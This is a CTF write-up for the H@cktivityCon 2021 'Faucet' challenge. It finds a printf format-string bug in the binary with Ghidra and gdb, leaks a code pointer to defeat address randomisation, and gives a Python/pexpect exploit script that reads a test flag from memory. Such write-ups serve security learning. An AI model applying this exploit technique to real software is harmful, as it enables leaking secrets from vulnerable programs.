The Faucet challenge for the H@tivityCon 2021 CTF involved exploiting a
vulnerability in the printf() function. The challenge required both reverse
engineering and constructing a script to inject a payload.

The challenge consisted of a Linux binary named faucet and an address to a
port where the binary is running.

Accessing the port leads to the following output:  
```  
___  
.' _ '.  
/ /` `\ \  
| | [__]  
| | {{  
| | }}  
_ | | _ {{  
___________<_>_| |_<_>}}________  
.=======^=(___)=^={{====.  
/ .----------------}}---. \  
/ /| {{ |\ \  
/ / | }} | \ \  
( '=========================' )  
'-----------------------------'

ASCII art from: https://ascii.co.uk/art/sinks

*drip *drip *drip

How are we going to fix this leaky faucet?  
[1] Hit it with a hammer.  
[2] Tighten the pipe with a wrench.  
[3] Put a bucket under the leak.  
[4] Call a plumber.  
[5] Buy item from the hardware store.

>  
```  
We decompiled the provided binary using Ghidra. After opening the binary, it
should pick up the right options by default. After Ghidra completes
disassembling, look for main under functions in the 'Symbol Tree' view.  
![](https://1.bp.blogspot.com/-vETX-4-WlKU/YUuxGDRJ4hI/AAAAAAAAJHA/9CigF8Yogek1PyQpnyS1XIMDZTI8eg_mQCLcBGAsYHQ/s1407/ghidra-4.png)  
Here we can see the main() function in the decompiler view. We can immediately
spot our goal. Let's take a closer look.  
```  
FILE *__stream;

__stream = fopen("flag.txt","r");  
if (__stream != (FILE *)0x0) {  
fgets(FLAG,0x100,__stream);  
fclose(__stream);  
```  
On line 3, we open a file called flag.txt. It is a reasonable assumption that
this contains our target. On line 5, we can see that we load the contents of
this file into a location in memory. So our goal is to locate that and somehow
leak its contents to the output.

Other than this, the function calls a menu function to handle the main menu
and functions for each menu selection.

Let's take a peek at this FLAG variable:  
![](https://1.bp.blogspot.com/-9--
v2b5y_F4/YUzaPkFfzlI/AAAAAAAAJIA/IkRe8n0OlKAW_4ZOOAkp4TYVsZ3RAY83gCLcBGAsYHQ/s1407/ghidra-6.png)  
Here we can find the offset of the FLAG symbol which is 0x00104060. This will
certainly be important if we want to find the contents of that memory.

Let's take a look at the menu function.  
![](https://1.bp.blogspot.com/-ieBQwv9AhzM/YUuxkdLdjBI/AAAAAAAAJHU/w5sfVi0dzqAhxgAV30Wt8JglmGcoJD4rwCLcBGAsYHQ/s1407/ghidra-5.png)  
Here we see input being accepted. Nothing stands out as vulnerable though. The
only other functions that look interesting are use_bucket() and buy_item().
Let's look at use_bucket():  
![](https://1.bp.blogspot.com/-LT9vos8ibNU/YUux0aTKCHI/AAAAAAAAJHg/3ouJcEVg_eExFtYM_Gk9qwaYuDjTfCURQCLcBGAsYHQ/s1407/ghidra-3.png)  
We accept some input here and then output it using printf(). Close, but not
quite vulnerable enough. What about buy_item()?  
![](https://1.bp.blogspot.com/-Z6RD9Xp1RHI/YU0SxG8pvlI/AAAAAAAAJIs/zf1c_0hVyesnwVj4Eg_rik14FIXW_eZvQCLcBGAsYHQ/s1407/ghidra-4.png)  
There we go. We accept some input and then we output it using printf(). Let's
take a closer look:  
```  
void buy_item(void)

{  
int iVar1;  
size_t sVar2;  
long in_FS_OFFSET;  
char buffer [40];  
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);  
printf("What item would you like to buy?: ");  
fgets(buffer,0x20,stdin);  
sVar2 = strcspn(buffer,"\n");  
buffer[sVar2] = '\0';  
iVar1 = strcmp(buffer,"hammer");  
if (iVar1 == 0) {  
hammer = 1;  
}  
else {  
iVar1 = strcmp(buffer,"wrench");  
if (iVar1 == 0) {  
wrench = 1;  
}  
}  
printf("You have bought a ");  
printf(buffer);  
puts("\n");  
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {  
/* WARNING: Subroutine does not return */  
__stack_chk_fail();  
}  
return;  
}  
```  
On line 12, we accept input with fgets(). On line 26, we then output that
input directly using printf() without any escaping or filtering. There's our
vulnerability. Now we need to exploit it.

At this point we found some lecture notes that were very helpful in thinking
about how to exploit printf(). You can find them here:
[Format_String.pdf](https://web.ecs.syr.edu/~wedu/Teaching/cis643/LectureNotes_New/Format_String.pdf)

There are some important concepts to draw from this. Firstly, printf() will
look for parameters passed on the stack even if no parameters have been been
provided. Depending on how many format specifiers are in the format string,
printf() will walk up the stack. So adding 5 positional parameters will show
five sequential values from the stack.

Second, printf() will put the contents of the format string on the stack as
well. So, if you go far enough up the stack you will find the contents of the
format string.

Third, the string format specifier in printf(), %s, will display the string
stored at a pointer address on the stack. This is pretty common knowledge, but
it is important for this attack.

Let's take a look at the first idea in action.

```  
What item would you like to buy?: %x %x %x  
You have bought a f4126610 0 0  
```

Here we have retrieved three values off the stack.

Here is a demonstration of the second concept:

```  
What item would you like to buy?: %x %x %x %x %x %x %x  
You have bought a f4126610 0 0 12 12 25207825 20782520  
```

If we take a closer look at the 6th and 7th positions in a hex editor like
HxD, we see this:

![](https://1.bp.blogspot.com/-cBjZXts-9oE/YUu5hUJwUVI/AAAAAAAAJHw/XPzuUNxHEXweMExNwSXnoecpbSK0snFLQCLcBGAsYHQ/s622/hxd-1.png)

That looks like the contents of the format string we passed in. Take note that
it appears to be backwards. This will be important later.  
  
This means a few important things, we now know we can place arbitrary data on
the stack, and we can access that data, and using %s we can read what's at the
other end of a pointer on the stack.

We also know the location of the FLAG variable, but that doesn't give us
everything we need. We need a real pointer and not just an offset. We need to
know the base address to add to this offset to make any use of it. But we
don't have access to the machine the program runs on, so we can't just ask the
OS what this base address is. We'll have to find it some other way. If we can
find a pointer on the stack and determine what symbol it points at, we can
subtract that symbol's offset from the pointer to get the base address we're
looking for. So we need to see what's on the stack.

When the printf() format string gets too long it will get cut off. This limits
us in how far up the stack we can traverse. But there is a workaround to this
that we will get to later. For now, though, let's fire up the debugger, gdb,
and start poking around.

```  
> gdb ./faucet  
```

First we need to set a breakpoint. Let's break on printf() and the start the
program.

```  
Reading symbols from ./faucet...  
(No debugging symbols found in ./faucet)  
(gdb) b printf  
Breakpoint 1 at 0x1150  
(gdb) run  
Starting program: /home/xxxxxxx/H@cktivityCon2021CTF/faucet  
___  
.' _ '.  
/ /` `\ \  
| | [__]  
| | {{  
| | }}  
_ | | _ {{  
___________<_>_| |_<_>}}________  
.=======^=(___)=^={{====.  
/ .----------------}}---. \  
/ /| {{ |\ \  
/ / | }} | \ \  
( '=========================' )  
'-----------------------------'

ASCII art from: https://ascii.co.uk/art/sinks

*drip *drip *drip

How are we going to fix this leaky faucet?  
[1] Hit it with a hammer.  
[2] Tighten the pipe with a wrench.  
[3] Put a bucket under the leak.  
[4] Call a plumber.  
[5] Buy item from the hardware store.

Breakpoint 1, __printf (format=0x5555555565ae "\n> ") at printf.c:28  
28 printf.c: No such file or directory.  
(gdb)  
```

Here's the first printf() for the main menu prompt. Let's continue to the
next.

```  
(gdb) c  
Continuing.

> 5

Breakpoint 1, __printf (format=0x555555556220 "What item would you like to
buy?: ") at printf.c:28  
28 in printf.c  
(gdb)  
```

We enter our option 5. Next is stops at the printf() for the buy item prompt.
Let's continue and answer the prompt.

```  
(gdb) c  
Continuing.  
What item would you like to buy?: %x %x %x %x %x %x %x %x %x %x

Breakpoint 1, __printf (format=0x555555556253 "You have bought a ") at
printf.c:28  
28 in printf.c  
(gdb)  
```

We enter our format string into the prompt and next we hit another printf()
call. Let's continue to the next printf()

```  
(gdb) c  
Continuing.  
You have bought a  
Breakpoint 1, __printf (format=0x7fffffffd7e0 "%x %x %x %x %x %x %x %x %x %x")
at printf.c:28  
28 in printf.c  
(gdb)  
```  
We have reached our target printf() call. Let's look at what's on the stack
here.  
```  
(gdb) x/16xg $sp  
0x7fffffffd7d8: 0x00005555555553b8 0x7825207825207825  
0x7fffffffd7e8: 0x2520782520782520 0x2078252078252078  
0x7fffffffd7f8: 0x0000007825207825 0x00005555555551e0  
0x7fffffffd808: 0x64ddabf069932b00 0x00007fffffffd830  
0x7fffffffd818: 0x0000555555555725 0x00000005ffffd920  
0x7fffffffd828: 0x00005555555592a0 0x0000000000000000  
0x7fffffffd838: 0x00007ffff7df10b3 0x00007ffff7ffc620  
0x7fffffffd848: 0x00007fffffffd928 0x0000000100000000  
```

Here we've asked to see the memory (x) for 16 entries (16) of hexadecimal
formatted (x) 16 byte (g) values starting from the stack pointer ($sp). The
first item on the stack here should be the return address for our call into
printf(). We should be able to verify that with the info symbol command.

```  
(gdb) info symbol 0x00005555555553b8  
buy_item + 188 in section .text of /home/xxxxxxx/H@cktivityCon2021CTF/faucet  
```

Here we can see that that first pointer on the stack points back to 188 bytes
within the buy_item() function to the instruction just after where the
printf() function was called. printf() is not able to see this entry though.
The next four items on the stack are the format string passed to printf().
Sixth item on the stack appears to be a pointer though. Let's see what it
points at:

```  
(gdb) info symbol 0x00005555555551e0  
_start in section .text of /home/xxxxxxx/H@cktivityCon2021CTF/faucet  
(gdb)  
```

This pointer points to the \\_start() function in the main code section
(.text) of the program. This pointer is also reachable via exploiting
printf(). We should be able to compute the base address if we have this
pointer. Let's see how we do that.

Let's go back to Ghidra. Find the \\_start() function in the 'Symbol Tree':  
![](https://1.bp.blogspot.com/-3Ynk3Q0F1lU/YUz5FXGvElI/AAAAAAAAJIY/IWuEC20lBJkJEJ1D3yxyaHI_kNPzVgfOACLcBGAsYHQ/s1407/ghidra-7.png)  
Here we can see the \\_start() function is at offset 0x001011e0. That means we
should be able to subtract that offset from the pointer we got to get the base
address. Here is the computation:

0x00005555555551e0 - 0x001011e0 = 0x0000555555454000

Now that we have the base, we can add the offset we found earlier for the FLAG
variable to compute its pointer.

0x0000555555454000 + 0x00104060 = 0x0000555555558060

Let's see what is at the address we just computed.

```  
(gdb) info symbol 0x0000555555558060  
FLAG in section .bss of /home/xxxxxxx/H@cktivityCon2021CTF/faucet  
(gdb)  
```

And there we go, we have computed the correct address to find the flag. We can
take a look at the memory and see.

```  
(gdb) x/s 0x0000555555558060  
0x555555558060 : "flag{this_is_where_the_flag_would_be}\n"  
(gdb)  
```

And there are the contents of our test flag.txt file. We have exfiltrated the
flag. Let's examine the output of the printf() command now by continuing the
program.

```  
(gdb) c  
Continuing.  
ffffb140 0 0 12 12 25207825 20782520 78252078 25207825 555551e0  
```

Here we see that the pointer ends up as the 10th item. A helpful detail is we
don't have to use 10 format specifiers to reach it. We can simply use "%10$p"
to get the 10 value as a pointer.

Now we need to script our attack. We used Python and pexpect to write a simple
exploit script. Let's walk through that.

First we use pexpect to execute the program. Later, we will use the netcat
command to reach to real target over the network. We also set pexpect to send
all the output to stdout so we can see it.

```  
child = pexpect.spawn('./faucet')

# Log output to stdout  
child.logfile = sys.stdout.buffer  
```

Next we look for the menu prompt and send a 5 to select our option.

```  
# Look for menu , send a 5  
child.expect('> ')  
child.sendline('5')  
```

Then we look for the buy item prompt and send our format specifier.

```  
# Look for buy item prompt  
child.expect('.*: ')

# Send a format specifier that will grab the 10th pointer on the stack  
child.sendline('%10$p')  
```

Now we grab the line with our pointer address in it and parse it with a
regular expression to pull out the pointer address.

```  
# Grab the line  
child.readline()  
line = child.readline().decode("ascii")

# Match the regex against the captured line  
p = re.compile(r'.*0x([0-9a-f]{12})')  
match = p.match(line)

# Extract the pointer address from the match group  
address = int(match.group(1), 16)  
```

With address in hand, we can now do our math.

```  
# Subtract the offset  
address -= 0x1011e0

# Add the offset for FLAG label  
address = address + 0x104060  
```

Next let's construct our payload. We need an array with some padding and then
the address we want to be on the stack in binary form. Through experimentation
we come up with needing 8 bytes of padding to get the address correctly
aligned in a position on the stack. With the padding, the entire address ends
up as the 7th positional argument. So part of our payload needs to display the
string that the address points to. We do that with "%7$s" which means display
the string pointed to by the 7th positional argument. We still need 4 more
bytes of padding so four spaces will suffice. The address bytes are then
appended to the end. Remember the byte order needs to be reversed to end up on
the stack in the correct order. So we decode the computed value in 'little
endian' mode to do this. Finally we end it with a line ending (0x0a).

```  
# Create a bytearray with the start of our payload  
byte_array = bytearray(b'%7$s ')

# Convert our address to bytes in reverse order  
address_bytes = address.to_bytes(8, 'little')

# Add address and end line to our payload  
byte_array += bytearray(address_bytes)  
byte_array += bytearray(b'\n')  
```

We have our payload, now to deliver it. We need to look for the menu prompt
again and then the buy item prompt.

```  
# Look for the menu, send 5  
child.expect('> ')  
child.sendline('5')

# Look for buy item prompt  
child.expect('.*: ')  
```

Now send the payload, wait for the menu again. Then we are done. The flag
should have been printed to the screen with the other output. Note that here
we make a special call to enable raw output to the child process. This is
needed to be able to send raw binary with causing issues. We also must write
directly to the file handle instead of using pexpect as it will only handle
strings.

```  
# set raw mode and send our payload  
tty.setraw(child.fileno())  
os.write(child.fileno(), byte_array)

# Look for the menu  
child.expect('> ')

# We're done!  
child.terminate()  
```

A full attack will look like this output:

```  
___  
.' _ '.  
/ /` `\ \  
| | [__]  
| | {{  
| | }}  
_ | | _ {{  
___________<_>_| |_<_>}}________  
.=======^=(___)=^={{====.  
/ .----------------}}---. \  
/ /| {{ |\ \  
/ / | }} | \ \  
( '=========================' )  
'-----------------------------'

ASCII art from: https://ascii.co.uk/art/sinks

*drip *drip *drip

How are we going to fix this leaky faucet?  
[1] Hit it with a hammer.  
[2] Tighten the pipe with a wrench.  
[3] Put a bucket under the leak.  
[4] Call a plumber.  
[5] Buy item from the hardware store.

> 5  
5  
What item would you like to buy?: %10$p  
%10$p  
You have bought a 0x562fd1d271e0

[1] Hit it with a hammer.  
[2] Tighten the pipe with a wrench.  
[3] Put a bucket under the leak.  
[4] Call a plumber.  
[5] Buy item from the hardware store.

> You have bought a 0x562fd1d271e0

0x562fd1c26000  
0x562fd1d2a060  
b'60a0d2d12f560000'  
b'253724732020202060a0d2d12f5600000a'  
5  
5  
What item would you like to buy?: You have bought a
flag{this_is_where_the_flag_would_be}  
`���/V

[1] Hit it with a hammer.  
[2] Tighten the pipe with a wrench.  
[3] Put a bucket under the leak.  
[4] Call a plumber.  
[5] Buy item from the hardware store.

> %  
```

Great success! Much awesome!

If you would like to try it out yourself, you can find the files here:

The target executable: [faucet](https://storage.googleapis.com/blogger-cdn-
bucket/hacktivitycon2021ctf/faucet/faucet)  
The exploit script:
[faucet_exploit.py](https://storage.googleapis.com/blogger-cdn-
bucket/hacktivitycon2021ctf/faucet/faucet_exploit.py)

You will need to install the pexpect pip module to run the exploit. You will
need a file in the same directory as the binary called flag.txt and containing
a string.

Special thanks goes to my team for helping solve these challenges and having a
good time in general. madamorr in particular deserves credit on this exploit.
Thanks also goes to whoever the author of the referenced lecture notes is.

Original writeup (https://blog.uberfoo.net/2021/09/htivitycon-2021-ctf-faucet-
challenge.html).